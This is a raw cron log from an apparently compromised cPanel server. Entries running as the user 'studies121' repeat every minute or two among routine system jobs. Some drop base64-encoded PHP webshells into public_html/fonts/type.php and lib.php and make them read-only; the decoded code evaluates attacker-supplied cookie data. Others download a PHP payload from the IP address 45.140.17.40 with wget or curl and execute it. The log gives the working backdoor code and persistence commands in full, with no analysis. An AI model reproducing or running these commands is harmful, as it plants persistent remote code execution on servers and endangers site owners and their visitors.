Feb 22 18:20:01 ip-184-168-122-23 CROND[4235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:20:01 ip-184-168-122-23 CROND[4237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:20:01 ip-184-168-122-23 CROND[4239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:20:01 ip-184-168-122-23 CROND[4242]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 18:20:01 ip-184-168-122-23 CROND[4243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:20:01 ip-184-168-122-23 CROND[4249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:20:01 ip-184-168-122-23 CROND[4248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:20:01 ip-184-168-122-23 CROND[4246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:20:01 ip-184-168-122-23 CROND[4247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 18:21:01 ip-184-168-122-23 CROND[4589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:21:01 ip-184-168-122-23 CROND[4592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:21:01 ip-184-168-122-23 CROND[4591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:21:01 ip-184-168-122-23 CROND[4593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:22:01 ip-184-168-122-23 CROND[4999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:22:01 ip-184-168-122-23 CROND[5003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:22:01 ip-184-168-122-23 CROND[5001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:22:01 ip-184-168-122-23 CROND[5004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:22:01 ip-184-168-122-23 CROND[5002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:23:01 ip-184-168-122-23 CROND[5319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:23:01 ip-184-168-122-23 CROND[5321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:23:01 ip-184-168-122-23 CROND[5322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:23:01 ip-184-168-122-23 CROND[5325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:24:01 ip-184-168-122-23 CROND[5653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:24:01 ip-184-168-122-23 CROND[5658]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:24:01 ip-184-168-122-23 CROND[5657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:24:01 ip-184-168-122-23 CROND[5656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:24:01 ip-184-168-122-23 CROND[5659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:25:01 ip-184-168-122-23 CROND[5967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:25:01 ip-184-168-122-23 CROND[5968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:25:01 ip-184-168-122-23 CROND[5971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:25:01 ip-184-168-122-23 CROND[5972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:25:01 ip-184-168-122-23 CROND[5976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:25:01 ip-184-168-122-23 CROND[5975]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 18:25:01 ip-184-168-122-23 CROND[5973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:26:01 ip-184-168-122-23 CROND[6313]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:26:01 ip-184-168-122-23 CROND[6316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:26:01 ip-184-168-122-23 CROND[6315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:26:01 ip-184-168-122-23 CROND[6317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:26:01 ip-184-168-122-23 CROND[6318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:27:01 ip-184-168-122-23 CROND[6716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:27:01 ip-184-168-122-23 CROND[6719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:27:01 ip-184-168-122-23 CROND[6720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:27:01 ip-184-168-122-23 CROND[6721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:28:02 ip-184-168-122-23 CROND[7043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:28:02 ip-184-168-122-23 CROND[7045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:28:02 ip-184-168-122-23 CROND[7047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:28:02 ip-184-168-122-23 CROND[7049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:28:02 ip-184-168-122-23 CROND[7050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:29:01 ip-184-168-122-23 CROND[7372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:29:01 ip-184-168-122-23 CROND[7373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:29:01 ip-184-168-122-23 CROND[7375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:29:01 ip-184-168-122-23 CROND[7374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:30:01 ip-184-168-122-23 CROND[7702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:30:01 ip-184-168-122-23 CROND[7699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:30:01 ip-184-168-122-23 CROND[7704]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 18:30:01 ip-184-168-122-23 CROND[7708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:30:01 ip-184-168-122-23 CROND[7711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:30:01 ip-184-168-122-23 CROND[7712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:30:01 ip-184-168-122-23 CROND[7714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:30:01 ip-184-168-122-23 CROND[7715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:31:01 ip-184-168-122-23 CROND[8040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:31:01 ip-184-168-122-23 CROND[8041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:31:01 ip-184-168-122-23 CROND[8042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:31:01 ip-184-168-122-23 CROND[8044]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 18:31:01 ip-184-168-122-23 CROND[8045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
